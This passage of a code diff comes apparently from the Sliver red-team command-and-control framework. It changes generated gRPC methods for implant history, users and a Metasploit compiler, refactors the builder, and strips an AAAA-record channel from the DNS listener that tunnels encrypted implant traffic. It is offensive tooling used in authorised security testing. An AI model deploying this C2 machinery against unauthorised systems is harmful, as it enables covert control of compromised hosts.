...grpc.CallOption) (*clientpb.Users, error) // *** Client Logs *** ClientLog(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ClientLogClient, error) - // *** Operator Commands *** - GetOperators(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Operators, error) // *** Generic *** Kill(ctx context.Context, in *sliverpb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error) Reconfigure(ctx context.Context, in *sliverpb.ReconfigureReq, opts ...grpc.CallOption) (*sliverpb.Reconfigure, error) Rename(ctx context.Context, in *clientpb.RenameReq, opts ...grpc.CallOption) (*commonpb.Empty, error) + ImplantHistory(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ImplantHistoryClient, error) + GetImplantHistory(ctx context.Context, in *clientpb.HistoryRequest, opts ...grpc.CallOption) (*clientpb.History, error) // *** Sessions *** GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error) // ***Threat monitoring *** @@ -301,6 +305,7 @@ type SliverRPCClient interface { MsfStage(ctx context.Context, in *clientpb.MsfStagerReq, opts ...grpc.CallOption) (*clientpb.MsfStager, error) ShellcodeRDI(ctx context.Context, in *clientpb.ShellcodeRDIReq, opts ...grpc.CallOption) (*clientpb.ShellcodeRDI, error) GetCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Compiler, error) + GetMetasploitCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.MetasploitCompiler, error) ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error) ShellcodeEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.ShellcodeEncoderMap, error) TrafficEncoderMap(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.TrafficEncoderMap, error) @@ -426,6 +431,15 @@ func (c *sliverRPCClient) GetVersion(ctx context.Context, in *commonpb.Empty, op return out, nil } +func (c *sliverRPCClient) GetUsers(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Users, error) { + out := new(clientpb.Users) + err := c.cc.Invoke(ctx, SliverRPC_GetUsers_FullMethodName, in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + func (c *sliverRPCClient) ClientLog(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ClientLogClient, error) { stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[0], SliverRPC_ClientLog_FullMethodName, opts...) if err != nil { @@ -460,15 +474,6 @@ func (x *sliverRPCClientLogClient) CloseAndRecv() (*commonpb.Empty, error) { return m, nil } -func (c *sliverRPCClient) GetOperators(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Operators, error) { - out := new(clientpb.Operators) - err := c.cc.Invoke(ctx, SliverRPC_GetOperators_FullMethodName, in, out, opts...) - if err != nil { - return nil, err - } - return out, nil -} - func (c *sliverRPCClient) Kill(ctx context.Context, in *sliverpb.KillReq, opts ...grpc.CallOption) (*commonpb.Empty, error) { out := new(commonpb.Empty) err := c.cc.Invoke(ctx, SliverRPC_Kill_FullMethodName, in, out, opts...) @@ -496,6 +501,49 @@ func (c *sliverRPCClient) Rename(ctx context.Context, in *clientpb.RenameReq, op return out, nil } +func (c *sliverRPCClient) ImplantHistory(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_ImplantHistoryClient, error) { + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[1], SliverRPC_ImplantHistory_FullMethodName, opts...) + if err != nil { + return nil, err + } + x := &sliverRPCImplantHistoryClient{stream} + return x, nil +} + +type SliverRPC_ImplantHistoryClient interface { + Send(*clientpb.ImplantCommand) error + CloseAndRecv() (*commonpb.Empty, error) + grpc.ClientStream +} + +type sliverRPCImplantHistoryClient struct { + grpc.ClientStream +} + +func (x *sliverRPCImplantHistoryClient) Send(m *clientpb.ImplantCommand) error { + return x.ClientStream.SendMsg(m) +} + +func (x *sliverRPCImplantHistoryClient) CloseAndRecv() (*commonpb.Empty, error) { + if err := x.ClientStream.CloseSend(); err != nil { + return nil, err + } + m := new(commonpb.Empty) + if err := x.ClientStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} + +func (c *sliverRPCClient) GetImplantHistory(ctx context.Context, in *clientpb.HistoryRequest, opts ...grpc.CallOption) (*clientpb.History, error) { + out := new(clientpb.History) + err := c.cc.Invoke(ctx, SliverRPC_GetImplantHistory_FullMethodName, in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + func (c *sliverRPCClient) GetSessions(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.Sessions, error) { out := new(clientpb.Sessions) err := c.cc.Invoke(ctx, SliverRPC_GetSessions_FullMethodName, in, out, opts...) @@ -920,7 +968,7 @@ func (c *sliverRPCClient) SaveHTTPC2Profile(ctx context.Context, in *clientpb.HT } func (c *sliverRPCClient) BuilderRegister(ctx context.Context, in *clientpb.Builder, opts ...grpc.CallOption) (SliverRPC_BuilderRegisterClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[1], SliverRPC_BuilderRegister_FullMethodName, opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], SliverRPC_BuilderRegister_FullMethodName, opts...) if err != nil { return nil, err } @@ -970,7 +1018,7 @@ func (c *sliverRPCClient) Builders(ctx context.Context, in *commonpb.Empty, opts } func (c *sliverRPCClient) CrackstationRegister(ctx context.Context, in *clientpb.Crackstation, opts ...grpc.CallOption) (SliverRPC_CrackstationRegisterClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[2], SliverRPC_CrackstationRegister_FullMethodName, opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[3], SliverRPC_CrackstationRegister_FullMethodName, opts...) if err != nil { return nil, err } @@ -1208,6 +1256,15 @@ func (c *sliverRPCClient) GetCompiler(ctx context.Context, in *commonpb.Empty, o return out, nil } +func (c *sliverRPCClient) GetMetasploitCompiler(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (*clientpb.MetasploitCompiler, error) { + out := new(clientpb.MetasploitCompiler) + err := c.cc.Invoke(ctx, SliverRPC_GetMetasploitCompiler_FullMethodName, in, out, opts...) + if err != nil { + return nil, err + } + return out, nil +} + func (c *sliverRPCClient) ShellcodeEncoder(ctx context.Context, in *clientpb.ShellcodeEncodeReq, opts ...grpc.CallOption) (*clientpb.ShellcodeEncode, error) { out := new(clientpb.ShellcodeEncode) err := c.cc.Invoke(ctx, SliverRPC_ShellcodeEncoder_FullMethodName, in, out, opts...) @@ -2019,7 +2076,7 @@ func (c *sliverRPCClient) CloseSocks(ctx context.Context, in *sliverpb.Socks, op } func (c *sliverRPCClient) SocksProxy(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_SocksProxyClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[3], SliverRPC_SocksProxy_FullMethodName, opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[4], SliverRPC_SocksProxy_FullMethodName, opts...) if err != nil { return nil, err } @@ -2068,7 +2125,7 @@ func (c *sliverRPCClient) CloseTunnel(ctx context.Context, in *sliverpb.Tunnel, } func (c *sliverRPCClient) TunnelData(ctx context.Context, opts ...grpc.CallOption) (SliverRPC_TunnelDataClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[4], SliverRPC_TunnelData_FullMethodName, opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[5], SliverRPC_TunnelData_FullMethodName, opts...) if err != nil { return nil, err } @@ -2099,7 +2156,7 @@ func (x *sliverRPCTunnelDataClient) Recv() (*sliverpb.TunnelData, error) { } func (c *sliverRPCClient) Events(ctx context.Context, in *commonpb.Empty, opts ...grpc.CallOption) (SliverRPC_EventsClient, error) { - stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[5], SliverRPC_Events_FullMethodName, opts...) + stream, err := c.cc.NewStream(ctx, &SliverRPC_ServiceDesc.Streams[6], SliverRPC_Events_FullMethodName, opts...) if err != nil { return nil, err } @@ -2134,16 +2191,17 @@ func (x *sliverRPCEventsClient) Recv() (*clientpb.Event, error) { // All implementations must embed UnimplementedSliverRPCServer // for forward compatibility type SliverRPCServer interface { - // *** Version *** + // *** Teamclient *** GetVersion(context.Context, *commonpb.Empty) (*clientpb.Version, error) + GetUsers(context.Context, *commonpb.Empty) (*clientpb.Users, error) // *** Client Logs *** ClientLog(SliverRPC_ClientLogServer) error - // *** Operator Commands *** - GetOperators(context.Context, *commonpb.Empty) (*clientpb.Operators, error) // *** Generic *** Kill(context.Context, *sliverpb.KillReq) (*commonpb.Empty, error) Reconfigure(context.Context, *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error) Rename(context.Context, *clientpb.RenameReq) (*commonpb.Empty, error) + ImplantHistory(SliverRPC_ImplantHistoryServer) error + GetImplantHistory(context.Context, *clientpb.HistoryRequest) (*clientpb.History, error) // *** Sessions *** GetSessions(context.Context, *commonpb.Empty) (*clientpb.Sessions, error) // ***Threat monitoring *** @@ -2232,6 +2290,7 @@ type SliverRPCServer interface { MsfStage(context.Context, *clientpb.MsfStagerReq) (*clientpb.MsfStager, error) ShellcodeRDI(context.Context, *clientpb.ShellcodeRDIReq) (*clientpb.ShellcodeRDI, error) GetCompiler(context.Context, *commonpb.Empty) (*clientpb.Compiler, error) + GetMetasploitCompiler(context.Context, *commonpb.Empty) (*clientpb.MetasploitCompiler, error) ShellcodeEncoder(context.Context, *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error) ShellcodeEncoderMap(context.Context, *commonpb.Empty) (*clientpb.ShellcodeEncoderMap, error) TrafficEncoderMap(context.Context, *commonpb.Empty) (*clientpb.TrafficEncoderMap, error) @@ -2348,12 +2407,12 @@ type UnimplementedSliverRPCServer struct { func (UnimplementedSliverRPCServer) GetVersion(context.Context, *commonpb.Empty) (*clientpb.Version, error) { return nil, status.Errorf(codes.Unimplemented, "method GetVersion not implemented") } +func (UnimplementedSliverRPCServer) GetUsers(context.Context, *commonpb.Empty) (*clientpb.Users, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetUsers not implemented") +} func (UnimplementedSliverRPCServer) ClientLog(SliverRPC_ClientLogServer) error { return status.Errorf(codes.Unimplemented, "method ClientLog not implemented") } -func (UnimplementedSliverRPCServer) GetOperators(context.Context, *commonpb.Empty) (*clientpb.Operators, error) { - return nil, status.Errorf(codes.Unimplemented, "method GetOperators not implemented") -} func (UnimplementedSliverRPCServer) Kill(context.Context, *sliverpb.KillReq) (*commonpb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Kill not implemented") } @@ -2363,6 +2422,12 @@ func (UnimplementedSliverRPCServer) Reconfigure(context.Context, *sliverpb.Recon func (UnimplementedSliverRPCServer) Rename(context.Context, *clientpb.RenameReq) (*commonpb.Empty, error) { return nil, status.Errorf(codes.Unimplemented, "method Rename not implemented") } +func (UnimplementedSliverRPCServer) ImplantHistory(SliverRPC_ImplantHistoryServer) error { + return status.Errorf(codes.Unimplemented, "method ImplantHistory not implemented") +} +func (UnimplementedSliverRPCServer) GetImplantHistory(context.Context, *clientpb.HistoryRequest) (*clientpb.History, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetImplantHistory not implemented") +} func (UnimplementedSliverRPCServer) GetSessions(context.Context, *commonpb.Empty) (*clientpb.Sessions, error) { return nil, status.Errorf(codes.Unimplemented, "method GetSessions not implemented") } @@ -2585,6 +2650,9 @@ func (UnimplementedSliverRPCServer) ShellcodeRDI(context.Context, *clientpb.Shel func (UnimplementedSliverRPCServer) GetCompiler(context.Context, *commonpb.Empty) (*clientpb.Compiler, error) { return nil, status.Errorf(codes.Unimplemented, "method GetCompiler not implemented") } +func (UnimplementedSliverRPCServer) GetMetasploitCompiler(context.Context, *commonpb.Empty) (*clientpb.MetasploitCompiler, error) { + return nil, status.Errorf(codes.Unimplemented, "method GetMetasploitCompiler not implemented") +} func (UnimplementedSliverRPCServer) ShellcodeEncoder(context.Context, *clientpb.ShellcodeEncodeReq) (*clientpb.ShellcodeEncode, error) { return nil, status.Errorf(codes.Unimplemented, "method ShellcodeEncoder not implemented") } @@ -2901,6 +2969,24 @@ func _SliverRPC_GetVersion_Handler(srv interface{}, ctx context.Context, dec fun return interceptor(ctx, in, info, handler) } +func _SliverRPC_GetUsers_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(commonpb.Empty) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(SliverRPCServer).GetUsers(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: SliverRPC_GetUsers_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(SliverRPCServer).GetUsers(ctx, req.(*commonpb.Empty)) + } + return interceptor(ctx, in, info, handler) +} + func _SliverRPC_ClientLog_Handler(srv interface{}, stream grpc.ServerStream) error { return srv.(SliverRPCServer).ClientLog(&sliverRPCClientLogServer{stream}) } @@ -2927,24 +3013,6 @@ func (x *sliverRPCClientLogServer) Recv() (*clientpb.ClientLogData, error) { return m, nil } -func _SliverRPC_GetOperators_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { - in := new(commonpb.Empty) - if err := dec(in); err != nil { - return nil, err - } - if interceptor == nil { - return srv.(SliverRPCServer).GetOperators(ctx, in) - } - info := &grpc.UnaryServerInfo{ - Server: srv, - FullMethod: SliverRPC_GetOperators_FullMethodName, - } - handler := func(ctx context.Context, req interface{}) (interface{}, error) { - return srv.(SliverRPCServer).GetOperators(ctx, req.(*commonpb.Empty)) - } - return interceptor(ctx, in, info, handler) -} - func _SliverRPC_Kill_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(sliverpb.KillReq) if err := dec(in); err != nil { @@ -2999,6 +3067,50 @@ func _SliverRPC_Rename_Handler(srv interface{}, ctx context.Context, dec func(in return interceptor(ctx, in, info, handler) } +func _SliverRPC_ImplantHistory_Handler(srv interface{}, stream grpc.ServerStream) error { + return srv.(SliverRPCServer).ImplantHistory(&sliverRPCImplantHistoryServer{stream}) +} + +type SliverRPC_ImplantHistoryServer interface { + SendAndClose(*commonpb.Empty) error + Recv() (*clientpb.ImplantCommand, error) + grpc.ServerStream +} + +type sliverRPCImplantHistoryServer struct { + grpc.ServerStream +} + +func (x *sliverRPCImplantHistoryServer) SendAndClose(m *commonpb.Empty) error { + return x.ServerStream.SendMsg(m) +} + +func (x *sliverRPCImplantHistoryServer) Recv() (*clientpb.ImplantCommand, error) { + m := new(clientpb.ImplantCommand) + if err := x.ServerStream.RecvMsg(m); err != nil { + return nil, err + } + return m, nil +} + +func _SliverRPC_GetImplantHistory_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(clientpb.HistoryRequest) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(SliverRPCServer).GetImplantHistory(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: SliverRPC_GetImplantHistory_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(SliverRPCServer).GetImplantHistory(ctx, req.(*clientpb.HistoryRequest)) + } + return interceptor(ctx, in, info, handler) +} + func _SliverRPC_GetSessions_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(commonpb.Empty) if err := dec(in); err != nil { @@ -4337,6 +4449,24 @@ func _SliverRPC_GetCompiler_Handler(srv interface{}, ctx context.Context, dec fu return interceptor(ctx, in, info, handler) } +func _SliverRPC_GetMetasploitCompiler_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { + in := new(commonpb.Empty) + if err := dec(in); err != nil { + return nil, err + } + if interceptor == nil { + return srv.(SliverRPCServer).GetMetasploitCompiler(ctx, in) + } + info := &grpc.UnaryServerInfo{ + Server: srv, + FullMethod: SliverRPC_GetMetasploitCompiler_FullMethodName, + } + handler := func(ctx context.Context, req interface{}) (interface{}, error) { + return srv.(SliverRPCServer).GetMetasploitCompiler(ctx, req.(*commonpb.Empty)) + } + return interceptor(ctx, in, info, handler) +} + func _SliverRPC_ShellcodeEncoder_Handler(srv interface{}, ctx context.Context, dec func(interface{}) error, interceptor grpc.UnaryServerInterceptor) (interface{}, error) { in := new(clientpb.ShellcodeEncodeReq) if err := dec(in); err != nil { @@ -6078,8 +6208,8 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ Handler: _SliverRPC_GetVersion_Handler, }, { - MethodName: "GetOperators", - Handler: _SliverRPC_GetOperators_Handler, + MethodName: "GetUsers", + Handler: _SliverRPC_GetUsers_Handler, }, { MethodName: "Kill", @@ -6093,6 +6223,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ MethodName: "Rename", Handler: _SliverRPC_Rename_Handler, }, + { + MethodName: "GetImplantHistory", + Handler: _SliverRPC_GetImplantHistory_Handler, + }, { MethodName: "GetSessions", Handler: _SliverRPC_GetSessions_Handler, @@ -6381,6 +6515,10 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ MethodName: "GetCompiler", Handler: _SliverRPC_GetCompiler_Handler, }, + { + MethodName: "GetMetasploitCompiler", + Handler: _SliverRPC_GetMetasploitCompiler_Handler, + }, { MethodName: "ShellcodeEncoder", Handler: _SliverRPC_ShellcodeEncoder_Handler, @@ -6756,6 +6894,11 @@ var SliverRPC_ServiceDesc = grpc.ServiceDesc{ Handler: _SliverRPC_ClientLog_Handler, ClientStreams: true, }, + { + StreamName: "ImplantHistory", + Handler: _SliverRPC_ImplantHistory_Handler, + ClientStreams: true, + }, { StreamName: "BuilderRegister", Handler: _SliverRPC_BuilderRegister_Handler, diff --git a/protobuf/sliverpb/sliver.pb.go b/protobuf/sliverpb/sliver.pb.go index e9c661b612..f459ef12a2 100644 --- a/protobuf/sliverpb/sliver.pb.go +++ b/protobuf/sliverpb/sliver.pb.go @@ -1,7 +1,7 @@ // Code generated by protoc-gen-go. DO NOT EDIT. // versions: -// protoc-gen-go v1.31.0 -// protoc v4.25.0 +// protoc-gen-go v1.31.0-devel +// protoc v3.15.8 // source: sliverpb/sliver.proto package sliverpb diff --git a/server/assets/assets-helpers.go b/server/assets/assets-helpers.go index 0993a0b7f5..f4ad70cbcc 100644 --- a/server/assets/assets-helpers.go +++ b/server/assets/assets-helpers.go @@ -142,7 +142,7 @@ func setupGo(appDir string) error { os.MkdirAll(goRootPath, 0700) // Go compiler and stdlib - goZipFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "go.zip") + goZipFSPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, "go.zip") goZip, err := assetsFs.ReadFile(goZipFSPath) if err != nil { setupLog.Errorf("static asset not found: %s", goZipFSPath) @@ -176,7 +176,7 @@ func setupGo(appDir string) error { if runtime.GOOS == "windows" { garbleFileName = "garble.exe" } - garbleAssetPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, garbleFileName) + garbleAssetPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, garbleFileName) garbleFile, err := assetsFs.ReadFile(garbleAssetPath) if err != nil { setupLog.Errorf("Static asset not found: %s", garbleFile) @@ -194,7 +194,7 @@ func setupGo(appDir string) error { func setupSGN(appDir string) error { goBinPath := filepath.Join(appDir, "go", "bin") - sgnZipFSPath := path.Join("fs", runtime.GOOS, runtime.GOARCH, "sgn.zip") + sgnZipFSPath := filepath.Join("fs", runtime.GOOS, runtime.GOARCH, "sgn.zip") sgnZip, err := assetsFs.ReadFile(sgnZipFSPath) if err != nil { setupLog.Errorf("static asset not found: %s", sgnZipFSPath) diff --git a/server/assets/assets.go b/server/assets/assets.go index 68880078b8..cd6a2e61a5 100644 --- a/server/assets/assets.go +++ b/server/assets/assets.go @@ -43,9 +43,7 @@ const ( envVarName = "SLIVER_ROOT_DIR" ) -var ( - setupLog = log.NamedLogger("assets", "setup") -) +var setupLog = log.NamedLogger("assets", "setup") // GetRootAppDir - Get the Sliver app dir, default is: ~/.sliver/ func GetRootAppDir() string { @@ -59,7 +57,7 @@ func GetRootAppDir() string { } if _, err := os.Stat(dir); os.IsNotExist(err) { - err = os.MkdirAll(dir, 0700) + err = os.MkdirAll(dir, 0o700) if err != nil { setupLog.Fatalf("Cannot write to sliver root dir %s", err) } @@ -71,7 +69,7 @@ func GetRootAppDir() string { func GetChunkDataDir() string { chunkDir := filepath.Join(GetRootAppDir(), "crack", "chunks") if _, err := os.Stat(chunkDir); os.IsNotExist(err) { - err = os.MkdirAll(chunkDir, 0700) + err = os.MkdirAll(chunkDir, 0o700) if err != nil { setupLog.Errorf("Failed to create chunk data directory: %s", err) return "" @@ -84,7 +82,7 @@ func GetChunkDataDir() string { func GetTrafficEncoderDir() string { trafficDir := filepath.Join(GetRootAppDir(), "traffic-encoders") if _, err := os.Stat(trafficDir); os.IsNotExist(err) { - os.MkdirAll(trafficDir, 0700) + os.MkdirAll(trafficDir, 0o700) } return trafficDir } diff --git a/server/builder/builder.go b/server/builder/builder.go index 76218537fb..54c28a8eb4 100644 --- a/server/builder/builder.go +++ b/server/builder/builder.go @@ -23,10 +23,10 @@ import ( "fmt" "io" "os" - "os/signal" "path/filepath" "strings" + "github.com/bishopfox/sliver/client/console" consts "github.com/bishopfox/sliver/client/constants" "github.com/bishopfox/sliver/protobuf/clientpb" "github.com/bishopfox/sliver/protobuf/commonpb" @@ -36,9 +36,7 @@ import ( "github.com/bishopfox/sliver/server/log" ) -var ( - builderLog = log.NamedLogger("builder", "sliver") -) +var builderLog = log.NamedLogger("builder", "sliver") type Config struct { GOOSs []string @@ -47,26 +45,24 @@ type Config struct { } // StartBuilder - main entry point for the builder -func StartBuilder(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) { - - sigint := make(chan os.Signal, 1) - signal.Notify(sigint, os.Interrupt) - +func StartBuilder(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient, con *console.SliverClient) error { builderLog.Infof("Attempting to register builder: %s", externalBuilder.Name) + con.PrintInfof("Attempting to register builder: %s", externalBuilder.Name) + events, err := buildEvents(externalBuilder, rpc) if err != nil { - os.Exit(1) + builderLog.Errorf("Build events handler error: %s", err.Error()) + return nil } // Wait for signal or builds - for { - select { - case <-sigint: - return - case event := <-events: + go func() { + for event := range events { go handleBuildEvent(externalBuilder, event, rpc) } - } + }() + + return con.WaitSignal() } func buildEvents(externalBuilder *clientpb.Builder, rpc rpcpb.SliverRPCClient) (<-chan *clientpb.Event, error) { diff --git a/server/c2/dns.go b/server/c2/dns.go index 197b431b82..8af3bfeaf0 100644 --- a/server/c2/dns.go +++ b/server/c2/dns.go @@ -74,8 +74,6 @@ var ( implantBase64 = encoders.Base64{} // Implant's version of base64 with custom alphabet ErrInvalidMsg = errors.New("invalid dns message") ErrNoOutgoingMessages = errors.New("no outgoing messages") - ErrMsgTooLong = errors.New("too much data to encode") - ErrMsgTooShort = errors.New("too little data to encode") ) // StartDNSListener - Start a DNS listener @@ -104,7 +102,6 @@ type DNSSession struct { ImplantConn *core.ImplantConnection CipherCtx *cryptography.CipherContext - dnsIdMsgIdMap map[uint32]uint32 outgoingMsgIDs []uint32 outgoingBuffers map[uint32][]byte outgoingMutex *sync.RWMutex @@ -125,15 +122,13 @@ func (s *DNSSession) nextMsgID() uint32 { // StageOutgoingEnvelope - Stage an outgoing envelope func (s *DNSSession) StageOutgoingEnvelope(envelope *sliverpb.Envelope) error { - dnsLog.Debugf("Staging outgoing envelope %v", envelope) + // dnsLog.Debugf("Staging outgoing envelope %v", envelope) plaintext, err := proto.Marshal(envelope) if err != nil { - dnsLog.Errorf("[dns] failed to marshal outgoing message %s", err) return err } ciphertext, err := s.CipherCtx.Encrypt(plaintext) if err != nil { - dnsLog.Errorf("[dns] failed to encrypt outgoing message %s", err) return err } @@ -148,7 +143,7 @@ func (s *DNSSession) StageOutgoingEnvelope(envelope *sliverpb.Envelope) error { // PopOutgoingMsgID - Pop the next outgoing message ID, FIFO // returns msgID, len, err -func (s *DNSSession) PopOutgoingMsgID(msg *dnspb.DNSMessage) (uint32, uint32, error) { +func (s *DNSSession) PopOutgoingMsgID() (uint32, uint32, error) { s.outgoingMutex.Lock() defer s.outgoingMutex.Unlock() if len(s.outgoingMsgIDs) == 0 { @@ -160,8 +155,6 @@ func (s *DNSSession) PopOutgoingMsgID(msg *dnspb.DNSMessage) (uint32, uint32, er if !ok { return 0, 0, errors.New("no buffer for msg id") } - //Necessary for any race conditions for resolvers that send out multiple identical requests - s.dnsIdMsgIdMap[msg.ID] = msgID return msgID, uint32(len(ciphertext)), nil } @@ -471,7 +464,6 @@ func (s *SliverDNSServer) handleHello(domain string, msg *dnspb.DNSMessage, req dnsLog.Debugf("[dns] Assigned new dns session id = %d", dnsSessionID&sessionIDBitMask) s.sessions.Store(dnsSessionID&sessionIDBitMask, &DNSSession{ ID: dnsSessionID & sessionIDBitMask, - dnsIdMsgIdMap: map[uint32]uint32{}, outgoingMsgIDs: []uint32{}, outgoingBuffers: map[uint32][]byte{}, outgoingMutex: &sync.RWMutex{}, @@ -553,23 +545,6 @@ func (s *SliverDNSServer) handleDNSSessionInit(domain string, msg *dnspb.DNSMess resp.Authoritative = true for _, q := range req.Question { switch q.Qtype { - - case dns.TypeAAAA: - - chunks := splitToChunks(respData, 16) - msg_len := len(respData) - dnsLog.Infof("[dns] msg length: %d)", msg_len) - for i, chunk := range chunks { - ttl := uint32(msg_len) - chunkIdx := uint32(i) << 8 - ttl = ttl ^ chunkIdx - a_record := &dns.AAAA{ - Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeAAAA, Class: dns.ClassINET, Ttl: ttl}, - AAAA: chunk, - } - resp.Answer = append(resp.Answer, a_record) - } - case dns.TypeTXT: rawTxt, _ := implantBase64.Encode(respData) respTxt := string(rawTxt) @@ -596,60 +571,26 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check loadSession, _ := s.sessions.Load(msg.ID & sessionIDBitMask) dnsSession := loadSession.(*DNSSession) - msgID, msgLen, err := dnsSession.PopOutgoingMsgID(msg) - if err != nil { - if err != ErrNoOutgoingMessages { - dnsLog.Errorf("[poll] error popping outgoing msg id: %s", err) - return s.refusedErrorResp(req) - } else { - msgLen = 0 - msgID = 0 - dnsLog.Debugf("[poll] error: %s", err) - oldID, ok := dnsSession.dnsIdMsgIdMap[msg.ID] - if !ok { - dnsLog.Debugf("[poll] no msg id for given request") - } else { - ciphertext, ok := dnsSession.outgoingBuffers[oldID] - if !ok { - dnsLog.Debugf("[poll] no msg for given id") - } else { - msgLen = uint32(len(ciphertext)) - msgID = oldID - } - } - - } + msgID, msgLen, err := dnsSession.PopOutgoingMsgID() + if err != nil && err != ErrNoOutgoingMessages { + dnsLog.Errorf("[poll] error popping outgoing msg id: %s", err) + return s.refusedErrorResp(req) } - respData := []byte{} - dnsLog.Debugf("[poll] manifest %d (%d bytes)", msgID, msgLen) - respData, _ = proto.Marshal(&dnspb.DNSMessage{ - Type: dnspb.DNSMessageType_MANIFEST, - ID: msgID, - Size: msgLen, - }) + if err == nil { + dnsLog.Debugf("[poll] manifest %d (%d bytes)", msgID, msgLen) + respData, _ = proto.Marshal(&dnspb.DNSMessage{ + Type: dnspb.DNSMessageType_MANIFEST, + ID: msgID, + Size: msgLen, + }) + } resp := new(dns.Msg) resp.SetReply(req) resp.Authoritative = true for _, q := range req.Question { switch q.Qtype { - case dns.TypeAAAA: - - chunks := splitToChunks(respData, 16) - msg_len := len(respData) - dnsLog.Infof("[dns] msg length: %d)", msg_len) - for i, chunk := range chunks { - ttl := uint32(msg_len) - chunkIdx := uint32(i) << 8 - ttl = ttl ^ chunkIdx - a_record := &dns.AAAA{ - Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeAAAA, Class: dns.ClassINET, Ttl: ttl}, - AAAA: chunk, - } - resp.Answer = append(resp.Answer, a_record) - } - case dns.TypeTXT: rawTxt, _ := implantBase64.Encode(respData) respTxt := string(rawTxt) @@ -668,7 +609,6 @@ func (s *SliverDNSServer) handlePoll(domain string, msg *dnspb.DNSMessage, check resp.Answer = append(resp.Answer, txt) } } - return resp } @@ -724,22 +664,6 @@ func (s *SliverDNSServer) handleDataToImplant(domain string, msg *dnspb.DNSMessa resp.Authoritative = true for _, q := range req.Question { switch q.Qtype { - case dns.TypeAAAA: - - chunks := splitToChunks(respData, 16) - msg_len := len(respData) - dnsLog.Infof("[dns] msg length: %d)", msg_len) - for i, chunk := range chunks { - ttl := uint32(msg_len) - chunkIdx := uint32(i) << 8 - ttl = ttl ^ chunkIdx - a_record := &dns.AAAA{ - Hdr: dns.RR_Header{Name: q.Name, Rrtype: dns.TypeAAAA, Class: dns.ClassINET, Ttl: ttl}, - AAAA: chunk, - } - resp.Answer = append(resp.Answer, a_record) - } - case dns.TypeTXT: rawTxt, _ := implantBase64.Encode(respData) respTxt := string(rawTxt) @@ -877,24 +801,3 @@ func dnsSessionID() uint32 { dnsSessionID := binary.LittleEndian.Uint32(randBuf) return dnsSessionID } - -func splitToChunks(data []byte, 